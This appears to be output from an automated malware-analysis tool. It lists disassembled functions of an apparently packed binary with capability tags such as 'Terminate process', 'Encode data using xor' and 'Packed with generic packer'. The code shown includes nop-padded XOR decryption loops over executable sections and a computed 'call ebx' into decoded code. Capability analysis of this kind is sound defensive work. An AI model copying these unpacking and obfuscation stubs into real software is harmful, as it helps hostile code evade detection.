add ebx, dword [ebp - 0x4c]
mov esi, 0xc10beb55
add esi, 0xe23bcc2c
add dword [ebp - 0x38], 0x25c645
mov edx, dword [ebx]
mov dword [ebp - 0x40], 0x8992eb6d
xor edx, esi
add dword [ebp - 0x48], 0xc6ec715c
mov dword [edi], edx
xor dword [ebp - 0x2c], 0x14bb0669
add edi, 0x74f2ca1f
sub edi, 0x74f2ca1b
add ebx, 0xc0be0824
sub ebx, 0xc0be0820
loop 0x100025ea
add eax, 0xa1047a4e
add eax, 0x5efca029
xor ebx, ebx
add ebx, eax
add eax, 0x10d62321
sub eax, 0x10d6231c
mov ecx, 0x568bd704
sub ecx, 0x468bd704
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x100082ac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x100082b6
repz ret
jmp fcn.1000869f

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..wixburn
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x41bd71db
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..pdata
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x577858a5
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219